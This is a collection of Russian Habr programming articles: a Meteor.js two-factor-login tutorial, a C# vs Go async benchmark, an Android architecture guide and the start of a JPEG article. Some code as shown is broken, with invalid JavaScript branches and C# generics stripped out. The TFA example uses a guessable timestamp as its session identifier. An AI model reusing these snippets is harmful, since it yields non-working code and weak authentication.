Само хэширование будем выполнять на клиентской стороне перед вызовом Meteor метода. Используется при этом стандартный метод — **Package.sha.SHA256('ПпАарРоль')**.
Здесь же описан ход действий при отключенной TFA — просто генерируем новый токен, возвращаем на клиент, а оттуда выполнится вызов **Meteor.loginWithToken**.
Хочу пояснить количество аргументов Meteor метода — я использую один и тот же метод для открытия и завершения сессии аутентификации.
Аргумент **hash** предназначен для отслеживания уже открытой сессии. Допустим, пользователь откроет сессию аутентификации, а затем закроет браузер/вкладку, но смс с кодом уже отправлено. А в течение минуты (времени жизни сессии) он снова откроет сессию аутентификации, и тогда снова будет отправлено смс. Это была бы чистая потеря денег. Поэтому для открытой сессии (после прохождения первого фактора) создается хэш, который к ней привязан и сохранен c ней в MongoDB, а затем возвращен на клиент, а там сохранен в localstorage/cookie. И, когда клиент загрузится в очередной раз, он проверит по своим временным подсчетам, жива ли прошлая сессия аутентификации. Если жива, то он прикрепит этот хэш вместе с первым фактором (username, password). Это также позволит открывать сессии TFA с разных устройств. Об этом процессе детальнее в следующих шагах.
Шаги 3-5
--------
Данные шаги включают сам второй фактор.
Создадим специальную коллекцию в MongoDB, которая будет содержать открытые сессии аутентификации. Предположим, она будет называться **TwoFactorSessions**. Она должна быть определена только на серверной стороне Meteor.
А вот и код:
```
Meteor.methods({
'LoginProcedure': function(username, pswdDigest, code, hash){
//Steps 1-2
...
if (!user.twoFactorEnabled){
//Steps 1-2
...
}else{
if (code && hash){
//Step 6-7
...
}else(hash){
//That part is for continuing previous session
//New code will not be sent, but client-side app
//will receive special response code and open the pop-up
var session = TwoFactorSessions.findOne({
hash: hash,
username: username
});
if (session){
//Lets use some imaginary validation function
//that you will define by your own in your project
validateSession(session, user);
return [401, hash];
}else{
// Couldnt find, return error
throw new Meteor.Error(404, 'No session');
}
}else{
//Generated code, i'll leave it up to you
var newCode = `;
//The now date can be used as hash, just timestamp
var now = new Date();
var hash = +now;
//Save it to special collection for suspended sign-in processes
TwoFactorSessions.insert({
hash: hash,
code: newCode,
username: username,
sent: now
});
// Wrap async task
return Meteor.wrapAsync(function(user, hash, code, startTime, cb){
// Send code using Twilio to the phone number of user
Twilio.messages.create({
to: user.phone,
from: '+000000000000',
body: 'Hi! Code - '+code
}, function(error, message){
if (error){
// Return error with Twilio
cb && cb(new Meteor.Error(500, 'Twilio error'));
}else{
// Return 403, saying that SMS has been sent
// hash, which user will send to us with code to identify his TF session
cb && cb(null, [403, hash]);
}
});
})(user, hash, newCode, now);
}
}
}
});`
```
В случае, если с клиента приходит вызов метода с аргументом hash, мы должны попытаться найти уже существующую открытую сессию аутентификации. Даже если такая существует, все равно надо проверить её время жизни (клиент непредсказуем, обязательно найдется персонаж, который будет через консоль вызывать самые разные методы с самыми разными аргументами). Если же все в порядке, даем клиенту понять, что еще нужно пройти второй фактор.
Если аргумента **hash** нет, и первый фактор пройден, то генерируем код (второй фактор), хэш, сохраняем все необходимое и доставляем код (второй фактор). Как видите, мой хэш вовсе не хэш, а просто timestamp. Мне это показалось достаточным для демонстрационных целей, но вам никто не запретит использовать полноценный хэш, в который можно спрятать данные для привязки открытой сессии к устройству, например.
Для работы с Twilio я использовал официальный модуль [twilio-node](https://twilio.github.io/twilio-node/). Для подключения модулей от Node.js к Meteor можно использовать удобный пакет [meteorhacks:npm](https://atmospherejs.com/meteorhacks/npm).
Также стоит обратить внимание на **Meteor.wrapAsync**. Если вы знакомы с Meteor, то знаете, что все асинхронные задачи на серверной стороне надо оборачивать таким образом.
В результате, на клиент отправляется хэш для дальнейшей идентификации открытой сессии и код, по которому он отобразит форму для ввода второго фактора.
Все достаточно просто, но, согласен, сумбурно.
Шаги 6-7
--------
Теперь пора задуматься о клиентской стороне.
Предположим, есть шаблон для аутентификации — **signIn**. В нем есть форма для первого фактора и модальный поп-ап для второго фактора, который идентифицируется по **#modal**, а все вложенные элементы как **#modal-<название и роль элемента>**. Как вы помните, хэш для идентификации открытой сессии должен храниться в localstorage/cookie, поэтому в последующем коде будем использовать объект **Storage**. Это будет некий абстрактный объект, который сам решит куда класть значение (localstorage или cookie, по доступности). А вот и код:
```
Template.signIn.events({
...
'submit #signInForm': function(e) {
e.preventDefault();
//Here go your methods for retreiving
//username/email and password
var username = ...;
var password = ...;
var pswdDigest = Package.sha.SHA256(password);
// Check if there is previous Two-Factor session
var sessionHash = Storage.get('two-factor-auth-hash');
if (sessionHash){
//Validate it maybe?
//We have additional value here, code expiration time
var valid = validateItHereAsYouWant();
if (!valid)
sessionHash = null;
}
//Now actual login procedure start
Meteor.call('LoginProcedure', username, pswdDigest, null, sessionHash, function(error, response){
if (error){
if (error.error === 400){
// That code would mean that session is invalid
Storage.remove('two-factor-auth-hash');
// Show some alerts here
}
}else if (response[0]===200){
// That response code would mean that
// two-factor authentication is turned off
// and client received new login token immediately
// right after passing simple username/password check
Meteor.loginWithToken(response[1], function(err){
if(err){
alert('Problem!');
}else{
Router.go('Account');
}
});
}else if (response[0]===403){
// That response code would mean that second factor code is sent
// Open modal window with code input field
$('#modal').modal();
// Save hash into storage for continuation
Storage.set('two-factor-auth-hash', response[1]);
// Show alert saying the code was sent
}else if (response[0]===401){
// Open modal window with code input field
$('#modal').modal();
// Show alert that there is previous code that awaits input
}
}
...
'click #modal-code-submit': function(e){
e.preventDefault();
// Read the code, get the id hash
var code = $('#modal-code-input').val();
var hash = Storage.get('two-factor-auth-hash');
// Again get the values inside fields
// i mean username and password
...
// Throught the net, only the digest should go
var pswdDigest = Package.sha.SHA256(pswd);
// Perform login again, but with code and id hash
Meteor.call('LoginProcedure', username, pswdDigest, code, hash, function(error, response){
if (error){
if (error.error === 400){
// That error code would mean that session is invalid
Storage.remove('two-factor-auth-hash');
Storage.remove('two-factor-auth-ttl');
$('#modal').modal('toggle');
// Show some error alerts
}
}else if (response[0]===200){
// Seems like ok, login token received
Storage.remove('two-factor-auth-hash');
// Login
Meteor.loginWithToken(response[1]);
}
});
}
});
```
В коде полно комментариев, тщательно описывающих происходящее, но все же поясню.
По событию **submit #signInForm** считываем содержимое формы, хэшируем пароль и вызываем Meteor method, также отправляя **hash**, если он найден. Ожидаем получить один из 4х вариантов ответа:
1. **400** — сессия не прошла валидацию (ttl истек), клиент должен стереть свой hash;
2. **200** — первый фактор пройден, а второй не включен, значит пришел токен, с которым можно аутентифицироваться;
3. **403** — новый код (второй фактор) сгенерирован и отправлен, показываем модальный поп-ап для ввода;
4. **401** — старый код (второй фактор) еще активен, показываем поп-ап, в котором отображается оставшееся время жизни сессии и необходимость ввести тот же код.
Из модального окна по событию **click #modal-code-submit** вызываем тот же Meteor method, но передаем еще и код (второй фактор). В результате ожидаем получить один из следующих двух ответов:
1. **400** — сессия уже истекла, показываем ошибки, чистим **hash** в localstorage/cookie;
2. **200** — второй фактор успешно пройден, чистим **hash** в localstorage/cookie во избежание ошибок, и аутентифицируемся с полученным токеном.
Теперь необходимо реализовать проверку второго фактора на серверной стороне. Это событие характеризуется присутствием всех 4х аргументов при вызове Meteor метода. А вот и код:
```
Meteor.methods({
'LoginProcedure': function(username, pswdDigest, code, hash){
//Steps 1-2
...
if (!user.twoFactorEnabled){
//Steps 1-2
...
}else{
if (code && hash){
//All 4 arguments present here
//First factor has already been passed since we're here
//Process second factor
var session = TwoFactorSessions.findOne({
hash: hash,
username: username
});
if (session){
//Lets use some imaginary validation function
//that you will define by your own in your project
validateSession(session, user, code);
// Passed all checks
// Update two-factor session with submitted date
TwoFactorSessions.update({
hash: hash
}, {
$set: {
submitted: new Date()
}
});
// Generate and save login token using
// previously defined function (look for it in steps 1-2)
return saveLoginToken(user._id);
}else{
// Couldnt find, return error
throw new Meteor.Error(404, 'twoFactor.invalidHash');
}
}else(hash){
//Step 3-5
...
}else{
//Step 3-5
...
}
}
}
});
```
4 аргумента при вызове Meteor метода означают попытку завершить открытую сессию TFA. Первым делом проверим, существует ли такая сессия. Простой запрос в MongoDB.
Далее валидируем сессию. Как минимум, нужно проверить:
* Не закрыта ли уже эта сессия;
* Не истек ли ttl;
* Проверить количество попыток закрыть сессию;
* Совпадает ли код (второй фактор);
* Дополнительные проверки на соответствие сессии пользователю.
После того, как валидация пройдена успешно, сессия должна считаться закрытой. Поэтому обновим запись в MongoDB, добавив туда время закрытия сессии.
Затем, генерируем новый токен для пользователя ранее определенными функциями и отправляем назад на клиентскую сторону.
Шаг 8
-----
Код этого шага содержиться в прошлом шаге. На клиентской стороне, при получении токена, сразу вызываем метод **Meteor.loginWithToken** и успешно аутентифицируемся.
Заключение
----------
Для многих API Meteor.js может показаться замкнутым, ограниченным, без возможности сделать что-то сложное и замысловатое. Но, как было продемонстрировано в данной статье, можно заглянуть глубже и реализовать функционал, который вроде и не укладывается в стандартные пакеты.
Самое важное, конечно, заключается в том, что пришлось использовать скрытые функции, не описанные в официальной документации. Многих это будет настораживать потому, что эти функции могут меняться без предупреждения. Но без них было бы сложно реализовать TFA в более менее нормальном виде. По-крайней мере, на момент написания статьи, я не смог найти ни одной реализации. | https://habr.com/ru/post/252593/ | null | ru | null |
# Мириады запущенных задач на C#
Недавно на ресурсе Medium были опубликованы [две](https://medium.com/@alexyakunin/async-recursion-and-some-weirdness-of-design-of-asynchronous-api-in-c-vs-f-a5760a00a26a) [статьи](https://medium.com/@alexyakunin/go-vs-c-part-1-goroutines-vs-async-await-ac909c651c11) от одного и того же автора, затрагивающие функциональность C# async/await.
Основными выводами были:
* рекурсивный вызов асинхронного метода в C# подвержен StackOverflowException
* goroutine'ы лучше задач (тасков) в .NET в плане производительности
Но главная проблема вышеприведенных публикаций — абсолютное непонимание модели кооперативной многозадачности в C# с вводом читателей в заблуждение. Сами же бенчмарки — **бессмысленные**, как мы увидим позже.
Далее в статье я попытаюсь раскрыть суть проблемы более подробно с примерами решения.
**TL;DR**После небольшой правки кода исходных примеров, реализация бенчмарка на .NET оказывается быстрее варианта Go. Попутно решаем проблему переполнения стека у рекурсивных асинхронных методов.
**NB**: использоваться будут свежевыпущенный .NET Core 2.0 и Go 1.8.3.
Stack overflow & async
----------------------
Перейдем сразу к рассмотрению примера #1:
```
using System;
using System.Threading;
using System.Threading.Tasks;
namespace CSharpAsyncRecursion
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Counted to {0}.", CountRecursivelyAsync(10000).Result);
}
static async Task CountRecursivelyAsync(int count)
{
if (count <= 0)
return count;
return 1 + await CountRecursivelyAsync(count - 1);
}
}
}
```
Консоль упадет со `StackOverflowException`. Печаль!
Вариант реализации tail-call оптимизации здесь не подходит, т.к. мы не собираемся править компилятор, переписывать байт-код и т.п.
Поэтому решение должно подходить для максимально общего случая.
Обычно рекурсивный алгоритм заменяют на итерационный. Но в данном случае нам это не подходит также.
На помощь приходит механизм отложенного выполнения.
Реализуем простой метод `Defer`:
```
Task Defer(Func> task, TState state) =>
Task.Factory.StartNew(async s => await task((TState)s), state).Unwrap();
```
Для того, чтобы поставить задачу в очередь необходимо указание планировщика.
Методы `Task.Run` и `Task.Factory.StartNew` позволяют его использовать (По-умолчанию — `TaskScheduler.Default`, который для данного примера и так подойдет), а последний позволяет передать объект-состояние в делегат.
> На даный момент `Task.Factory.StartNew` не подерживает обобщенные перегрузки и [вряд ли будет](https://social.msdn.microsoft.com/Forums/en-US/1988294c-de41-476a-a104-aa550b7409f5/tpl-api-task-create-methods-signature-should-be-different?forum=parallelextensions). Если необходимо передать состояние, то либо `Action`, либо `Func`.
Перепишем пример, используя новый метод `Defer`:
```
static async Task Main(string[] args)
{
Task Defer(Func> task, TState state) =>
Task.Factory.StartNew(async s => await task((TState)s), state).Unwrap();
Task CountRecursivelyAsync(int count)
{
if (count <= 0)
return Task.FromResult(count);
return Defer(seed => CountRecursivelyAsync(seed - 1).ContinueWith(rec => rec.Result + 1), count);
}
Console.WriteLine($"Counted to {await CountRecursivelyAsync(100000)}.");
}
```
Оно не то, чем кажется
----------------------
Для начала ознакомимся с кодом бенчмарков из этой [статьи](https://medium.com/@alexyakunin/go-vs-c-part-1-goroutines-vs-async-await-ac909c651c11).
**Код на Go:**
```
package main
import (
"flag";
"fmt";
"time"
)
func measure(start time.Time, name string) {
elapsed := time.Since(start)
fmt.Printf("%s took %s", name, elapsed)
fmt.Println()
}
var maxCount = flag.Int("n", 1000000, "how many")
func f(output, input chan int) {
output <- 1 + <-input
}
func test() {
fmt.Printf("Started, sending %d messages.", *maxCount)
fmt.Println()
flag.Parse()
defer measure(time.Now(), fmt.Sprintf("Sending %d messages", *maxCount))
finalOutput := make(chan int)
var left, right chan int = nil, finalOutput
for i := 0; i < *maxCount; i++ {
left, right = right, make(chan int)
go f(left, right)
}
right <- 0
x := <-finalOutput
fmt.Println(x)
}
func main() {
test()
test()
}
```
**C#-код:**
```
using System;
using System.Diagnostics;
using System.Linq;
using System.Threading.Tasks;
using System.Threading.Tasks.Channels;
namespace ChannelsTest
{
class Program
{
public static void Measure(string title, Action test, int count, int warmupCount = 1)
{
test(warmupCount, true); // Warmup
var sw = new Stopwatch();
GC.Collect();
sw.Start();
test(count, false);
sw.Stop();
Console.WriteLine($"{title}: {sw.Elapsed.TotalMilliseconds:0.000}ms");
}
static async void AddOne(WritableChannel output, ReadableChannel input)
{
await output.WriteAsync(1 + await input.ReadAsync());
}
static async Task AddOne(Task input)
{
var result = 1 + await input;
await Task.Yield();
return result;
}
static void Main(string[] args)
{
if (!int.TryParse(args.FirstOrDefault(), out var maxCount))
maxCount = 1000000;
Measure($"Sending {maxCount} messages (channels)", (count, isWarmup) => {
var firstChannel = Channel.CreateUnbuffered();
var output = firstChannel;
for (var i = 0; i < count; i++) {
var input = Channel.CreateUnbuffered();
AddOne(output.Out, input.In);
output = input;
}
output.Out.WriteAsync(0);
if (!isWarmup)
Console.WriteLine(firstChannel.In.ReadAsync().Result);
}, maxCount);
Measure($"Sending {maxCount} messages (Task)", (count, isWarmup) => {
var tcs = new TaskCompletionSource();
var firstTask = AddOne(tcs.Task);
var output = firstTask;
for (var i = 0; i < count; i++) {
var input = AddOne(output);
output = input;
}
tcs.SetResult(-1);
if (!isWarmup)
Console.WriteLine(output.Result);
}, maxCount);
}
}
}
```
Что брасается сразу в глаза:
1. Сам пример (что для Go, что для C#) весьма странен. Все сводится к эмуляции цепочки действий и их лавинообразном 'спуске'. Более того в Go создается chan int на каждую итерацию из 1 млн. *Это вообще best-practice*??
2. автор использует `Task.Yield()`, оправдывая это тем, что иначе пример упадет с StackOverflowException. С таким же успехом мог бы и Task.Delay задействовать. Зачем мелочиться-то?! Но, как увидели ранее, все проистекает из-за 'неудачного' опыта с рекурсивными вызовами асинхронных методов.
3. Изначально в примерах также фигурирует бета-версия [System.Threading.Tasks.Channels](https://github.com/dotnet/corefxlab/tree/master/src/System.Threading.Tasks.Channels) для сравнения с каналами в Go. Я решил оставить только пример с тасками, т.к. библиотека System.Threading.Tasks.Channels еще **не** выпущена официально.
4. Вызов GC.Collect() после прогрева. Боюсь, я откажусь от такого сомнительного преимущества.
> Go использует понятие goroutine — легковесных потоков. Соответственно каждая горутина имеет свой стек. На данный момент размер стека равен 2KB. Поэтому при запуске бенчмарков будьте осторожны (более **4GB** понадобиться)!
>
>
>
> С одной стороны, это может быть полезно CLR JIT'у, а с другой — Go переиспользует уже созданные горутины, что позволяет исключить замеры трат на выделение памяти системой.
Результаты до оптимизации
-------------------------
Среда тестирования:
* Core i7 6700HQ (3.5 GHz)
* 8 GB DDR4 (2133 MHz)
* Win 10 x64 (Creators Update)
Ну что ж, у меня получились следующие результаты:
| | Warmup (s) | Benchmark (s) |
| --- | --- | --- |
| Go | 9.3531 | 1.0249 |
| C# | - | 1.3568 |
**NB**: Т.к. пример реализует просто цепочку вызовов, то ни GOMAXPROCS, ни размер канала не влияют на результат (уже проверено опытным путем). В расчет берем наилучшее время. Флуктуации не совсем важны, т.к. разница большая.
> Да, действительно: Go опережает C# на ~30%.
>
> Challange accepted!
Используй TaskScheduler, Luke!
------------------------------
Если не использовать что-то наподобие `Task.Yield`, то снова будет StackOverflowException.
На этот раз **не** будем использовать `Defer`!
Мысль реализации проста: запускаем доп. поток, который слушает/обрабатывает задачи по очереди.
По-моему, легче реализовать собственный планировщик, чем контекст синхронизации.
Сам класс `TaskScheduler` выглядит так:
```
// Represents an object that handles the low-level work of queuing tasks onto threads.
public abstract class TaskScheduler
{
/* остальные методы */
public virtual int MaximumConcurrencyLevel { get; }
public static TaskScheduler FromCurrentSynchronizationContext();
protected abstract IEnumerable GetScheduledTasks();
protected bool TryExecuteTask(Task task);
protected abstract bool TryExecuteTaskInline(Task task, bool taskWasPreviouslyQueued);
protected internal abstract void QueueTask(Task task);
protected internal virtual bool TryDequeue(Task task);
}
```
Как мы видим, `TaskScheduler` уж реализует подобие очереди: `QueueTask` и `TryDequeue`.
Дабы не изобретать велосипед, воспользуемся уже готовыми [планировщиками](https://code.msdn.microsoft.com/ParExtSamples) от [команды](https://blogs.msdn.microsoft.com/pfxteam/2010/04/04/a-tour-of-parallelextensionsextras/) .NET.
Внимание! Камера! Мотор!
------------------------
Перепишем это дело на C# 7, делая его максимально приближенным к Go:
```
static async Task Main(string[] args)
{
void Measure(string title, Action test, int count, int warmupCount = 1
{
var sw = new Stopwatch();
sw.Start();
test(count, false);
sw.Stop();
Console.WriteLine($"{title}: {sw.Elapsed.TotalMilliseconds:0.000}ms");
}
async Task f(Task input)
{
return 1 + await input; // return output
}
await Task.Factory.StartNew(() =>
{
if (!int.TryParse(args.FirstOrDefault(), out var maxCount))
maxCount = 1000000;
Measure($"Sending {maxCount} messages (Task)", (count, isWarmup) => {
var tcs = new TaskCompletionSource();
(var left, var right) = ((Task)null, f(tcs.Task));
for (var i = 0; i < count; i++)
{
left = f(right);
right = left;
}
tcs.SetResult(-1);
if (!isWarmup)
Console.WriteLine(right.Result);
}, maxCount);
}, CancellationToken.None, TaskCreationOptions.None, new StaTaskScheduler(2));
}
```
Здесь необходимо сделать пару ремарок:
* `GC.Collect()` убираем как и говорилось выше
* Используем `StaTaskScheduler` с **двумя** вспомогательными потоками, чтобы избежать блокировки: один **ждет** результата из главной/последней задачи, а др. обрабатывает **саму цепочку задач**.
Проблема рекурсивных вызовов исчезает автоматически. Поэтому смело убираем из метода `f(input)` вызов `Task.Yield()`. Если этого не сделать, то можно ожидать чуть более лучший результат по сравнению с исходным, т.к. дефолтный планировщик использует ThreadPool.
Теперь публикуем релизную сборку:
`dotnet publish -c release -r win10-x64`
И запускаем...
Внезапно получаем около 600 ms вместо прежних 1300 ms. Not bad!
Go, напомню, отрабатывал на уровне 1000 ms. Но меня не покидает чувство **неуместности** использования каналов как средство кооперативной многозадачности в исходных примерах.
p.s.
Я не делал огромного количества прогонов тестов с полноценной статистикой распределения значений замеров *специально*.
Цель статьи заключалась в освещении определенного use-case'a async/await и попутного развенчания мифа о невозможности рекурсивного вызова асинхронных методов в C#.
p.p.s.
Причиной изначального отставания C# было использование `Task.Yield()`. Постоянное переключение контекста — не есть гуд! | https://habr.com/ru/post/336000/ | null | ru | null |
# Архитектура и дизайн Android приложения (мой опыт)
Хабр, привет!
Сегодня я хочу рассказать об архитектуре, которой я следую в своих Android приложениях. За основу я беру Clean Architecture, а в качестве инструментов использую Android Architecture Components (ViewModel, LiveData, LiveEvent) + Kotlin Coroutines. К статье прилагается код вымышленного примера, который доступен на [GitHub](https://github.com/ar2code/AndroidArchitectureSample).
#### Disclaimer
Я хочу поделиться своим опытом разработки, я ни в коем случае не претендую на то, что мое решение является единственно верным и лишенным недостатков. Архитектура приложения – это своего рода модель, которую мы выбираем для решения той или иной задачи, и для выбранной модели важна её адекватность применения к конкретной задаче.
#### Проблема: зачем нам нужна архитектура?
Большинство проектов, в которых мне доводилось участвовать, имеют одну и ту же проблему: внутрь андроид окружения помещается логика приложения, что приводит к большому объему кода внутри Fragment и Activity. Таким образом код обрастает зависимостями, которые совсем не нужны, модульное тестирование становится практически невозможным, так же, как и повторное использование. Фрагменты со временем становятся God-объектами, даже мелкие изменения приводят к ошибкам, поддерживать проект становится дорого и эмоционально затратно.
Есть проекты, которые вообще не имеют никакой архитектуры (тут все понятно, к ним вопросов нет), есть проекты с претензией на архитектуру, но там все равно появляются точно такие же проблемы. Сейчас модно использовать Clean Architecture в Android. Часто видел, что Clean Architecture ограничивается созданием репозиториев и сценариев, которые вызывают эти репозитории и больше ничего не делают. Того хуже: такие сценарии возвращают модели из вызываемых репозиториев. И в такой архитектуре смысла нет вообще. И т.к. сценарии просто вызывают нужные репозитории, то часто логика ложится на ViewModel или, еще хуже, оседает во фрагментах и активностях. Все это потом превращается в кашу, не поддающуюся автоматическому тестированию.
#### Цель архитектуры и дизайна
Цель архитектуры – отделить нашу бизнес-логику от деталей. Под деталями я понимаю, например, внешние API (когда мы разрабатываем клиент для REST сервиса), Android – окружение (UI, сервисы) и т.д. В основе я использую Clean architecture, но со своими допущениями в реализации.
Цель дизайна – связать вместе UI, API, Бизнес-логику, модели так, чтобы все это поддавалось автоматическому тестированию, было слабо связанным, легко расширялось. В дизайне я использую Android Architecture Components.
Для меня архитектура должна удовлетворять следующим критериям:
1. UI — максимально простой, и у него есть только три функции:
2. Представлять данные пользователю. Данные приходят уже готовые для отображения. Это основная функция UI. Тут виджеты, анимации, фрагменты и т.д.
3. Реагировать на события. Здесь отлично помогает ViewModel и LiveData.
4. Отправлять команды от пользователя. Для этого я использую свой простой framework, основанный на командах. Об этом чуть позже.
5. Бизнес-логика зависит только от абстракций. Это нам позволяет менять реализацию произвольных компонентов.
#### Решение
Принципиальная схема архитектуры представлена на рисунке ниже:
Мы движемся снизу вверх по слоям, и слой, который находится ниже, ничего не знает о слое сверху. А верхний слой ссылается только на слой, который находится на один уровень ниже. Т.е. слой API не может ссылаться на домен.
Слой домен содержит бизнес сущности со своей логикой. Обычно здесь находятся сущности, которые существуют и без приложения. Например, для банка здесь могут находиться сущности кредитов со сложной логикой расчета процентов и т.д.
Слой логики приложения содержит сценарии работы самого приложения. Именно здесь определяются все связи приложения, выстраивается его суть.
Слой api, android – это лишь конкретная реализация нашего приложения в Android – среде. В идеале этот слой можно менять на что угодно.
*Причем, когда я приступаю к разработке приложения, я начинаю с самого нижнего слоя — домена. Потом появляется второй слой сценариев. На 2-ом слое все зависимости от внешних деталей реализуются через интерфейсы. Вы абстрагированы от деталей, можно сконцентрироваться только на логике приложения. Тут же уже можно начинать писать тесты. Это не TDD подход, но близко к этому. И только в самом конце появляется сам Android, API с реальными данными и т.д.*
Теперь более развернутая схема дизайна Android-приложения.
Итак, слой логики является ключевым, он и есть приложение. Только слой логики может ссылаться на домен и взаимодействовать с ним. Также слой логики содержит интерфейсы, которые позволяют логике взаимодействовать с деталями приложения (api, android и т.д.). Это так называемый принцип инверсии зависимости, который позволяет логике не зависеть от деталей, а наоборот. Слой логики содержит в себе сценарии использования приложения (Use Cases), которые оперируют разными данными, взаимодействуют с доменом, репозиториями и т.д. В разработке мне нравится мыслить сценариями. На каждое действие пользователя или событие от системы запускается некоторый сценарий, который имеет входные и выходные параметры, а также всего лишь один метод – запустить сценарий.
Кто-то вводит дополнительное понятие интерактора, который может объединять несколько сценариев использования и накручивать дополнительную логику. Но я этого не делаю, я считаю, что каждый сценарий может расширять или включать любой другой сценарий, для этого не нужен интерактор. Если посмотреть на схемы UML, то там можно увидеть связи включения и расширения.
Общая схема работы приложения следующая:
1. Создается android-окружение (активити, фрагменты, и т.д.).
2. Создается ViewModel (одна или несколько).
3. ViewModel создает необходимые сценарии, которые можно запустить из этой ViewModel. Сценарии лучше инжектить с помощью DI.
4. Пользователь совершает действие.
5. Каждый компонент UI связан с командой, которую он может запустить.
6. Запускается сценарий с необходимыми параметрами, например, Login.execute(login,password).
7. Сценарий также с помощью DI получает нужные репозитории, провайдеры. Сценарий делает запрос на получение необходимых данных (может быть несколько асинхронных запросов api, да что угодно). Репозиторий выполняет запросы и возвращает данные сценарию. Причем у репозитория есть свои модели данных, которые он использует для своей внутренней работы, например, репозиторий для REST будет содержать модели со всякими JSON конверторами. Но перед тем, как отдать результат в сценарий, репозиторий всегда преобразовывает данные в модели данных сценария. Таким образом, логика ничего не знает о внутреннем устройстве репозитория и не зависит от него. Получив все необходимые данные, сценарий может создать необходимые объекты из домена. Выполнить какую-то логику на домене. Когда сценарий закончит работу, он обязательно преобразует свой ответ в очередную модель представления. Сценарий прячет уровень домена, он отдает данные, которые сразу понятны слою представления. Сценарий использования также может содержать в себе служебные сценарии, например, обработка ошибок.
8. Сценарий вернул данные или ошибку в команду. Теперь можно обновить состояние ViewModel, которая в свою очередь обновит UI. Я обычно это делаю с помощью LiveData (п.9 и 10).
Т.е. ключевую роль у нас занимает логика и ее модели данных. Мы увидели двойное преобразование: первое – это преобразование репозитория в модель данных сценария и второе – преобразование, когда сценарий отдает данные в окружение, как результат своей работы. Обычно результат работы сценария отдается во viewModel для отображения в UI. Сценарий должен отдать такие данные, с которыми viewModel и UI ничего больше не делает.
Команды
UI запускает выполнение сценария с помощью команды. В моих проектах я использую собственную реализацию команд, они не являются частью архитектурных компонент или еще чего-либо. В общем, их реализация несложная, в качестве более глубокого знакомства с идеей можете посмотреть реализацию команд в [reactiveui.net](https://reactiveui.net/docs/handbook/commands/) для C#. Я, к сожалению, не могу выложить свой рабочий код, только упрощенную реализацию для примера.
Основная задача команды — это запускать некоторый сценарий, передав в него входные параметры, а после выполнения вернуть результат команды (данные или сообщение об ошибке). Обычно все команды выполняются асинхронно. Причем команда инкапсулирует метод background-вычислений. Я использую корутины, но их легко заменить на RX, и сделать это придется всего лишь в абстрактной связке command+use case. В качестве бонуса команда может сообщать свое состояние: выполняется ли она сейчас или нет и может ли она выполниться в принципе. Команды легко решают некоторые проблемы, например, проблему двойного вызова (когда пользователь кликнул несколько раз на кнопку, пока операция выполняется) или проблемы видимости и отмены выполнения.
#### Пример
Реализовать фичу: вход в приложение с помощью логина и пароля.
Окно должно содержать поля ввода логина и пароля и кнопку “Вход”. Логика работы следующая:
1. Кнопка “Вход” должна быть неактивной, если логин и пароль содержат менее 4 символов.
2. Кнопка “Вход” должна быть неактивной во время выполнения процедуры входа.
3. Во время выполнения процедуры входа должен отображаться индикатор (лоадер).
4. Если вход выполнен успешно, то должно отобразиться приветственное сообщение.
5. Если логин и/или пароль неверные, то должна появиться надпись об ошибке над полем ввода логина.
6. Если надпись об ошибке отображена на экране, то любой ввод символа в полях логин или пароль, убирают эту надпись до следующей попытки.
Эту задачу можно решить разными способами, например, поместить все в MainActivity.
Но я всегда слежу за выполнением моих двух главных правил:
1. Бизнес-логика не зависит от деталей.
2. UI максимально простой. Он занимается только своей задачей (представляет данные, которые ему переданы, а также транслирует команды от пользователя).
Так выглядит приложение:
MainActivity выглядит следующим образом:
```
class MainActivity : AppCompatActivity() {
private val vm: MainViewModel by viewModel()
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
bindLoginView()
bindProgressBar()
observeAuthorization()
observeRefreshView()
}
private fun bindProgressBar() {
progressBar.bindVisibleWithCommandIsExecuting(this, vm.loginCommand)
}
private fun bindLoginView() {
loginEdit.bindAfterTextChangedWithCommand(vm.loginValidityCommand)
passwordEdit.bindAfterTextChangedWithCommand(vm.passwordValidityCommand)
loginButton.bindCommand(this, vm.loginCommand) {
LoginParameters(loginEdit.text.toString(), passwordEdit.text.toString())
}
}
private fun observeAuthorization() {
vm.authorizationSuccessLive.observe(this, Observer {
showAuthorizeSuccessMsg(it?.data)
})
vm.authorizationErrorLive.observe(this, Observer {
showAuthorizeErrorMsg()
})
}
private fun observeRefreshView() {
vm.refreshLoginViewLive.observe(this, Observer {
hideAuthorizeErrorMsg()
})
}
private fun showAuthorizeErrorMsg() {
loginErrorMsg.isInvisible = false
}
private fun hideAuthorizeErrorMsg() {
loginErrorMsg.isInvisible = true
}
private fun showAuthorizeSuccessMsg(name : String?) {
val msg = getString( R.string.success_login, name)
Toast.makeText(this, msg, Toast.LENGTH_LONG).show()
}
}
```
Активити достаточно прост, правило UI выполняется. Я написал несколько простых расширений, типа bindVisibleWithCommandIsExecuting, чтобы связывать команды с элементами UI и не дублировать код.
Код этого примера с комментариями доступен на [GitHub](https://github.com/ar2code/AndroidArchitectureSample), если интересно, можете скачать и ознакомиться.
На этом все, спасибо за внимание! | https://habr.com/ru/post/500128/ | null | ru | null |
# Земля круглая, вода мокрая, JPEG шакалит, небо голубое… Или нет?
Вы можете сказать, что один факт выбивается из этого ряда в заголовке, потому что он не так очевиден, как остальные. Еще лет 10-15 назад я бы никогда не подумал, что тут могут быть возражения, а сейчас уже и не удивляюсь, что приходится объяснять простые истины: дело в том, что планеты обладают очень большой массой, поэтому гравитация стремится придать им форму шара. Вот и все! Хотел бы на этом закончить статью и поблагодарить за внимание.
Хотел, но не вышло: как-то раз, находясь на одном из этих массивных шаров, я оставил комментарий и получил на него 2 ответа.
По сути [@Vitalley](/users/vitalley) и [@Covert](/users/covert) правы. Но насколько? Действительно ли требуется хранить в double? Давайте разбираться на примере JPEG почему он портит изображение и можно ли, хотя бы теоретически, избежать потерь. Впрочем, интерес представляет даже не сам JPEG, а возможность использования линейных преобразований для сжатия без потерь.
Сначала мы рассмотрим основные этапы JPEG и немного углубимся в некоторые из них, чтобы понять происходящие преобразования с математической точки зрения. Выясним когда именно происходит искажение информации. Покажем, что информация восстановима, если задать относительно низкий шаг квантования и найдем его максимальное теоретическое значение. Затем, для проверки, постараемся найти его практически. В завершение сделаем выводы о том, насколько реальна поставленная цель.
На следующей картинке я отметил все этапы на которых происходит потеря информации.
Все рассмотрим подробно кроме кодирования Хаффмана, так как это сжатие без потерь.
Преобразование RGB в YCbCr
--------------------------
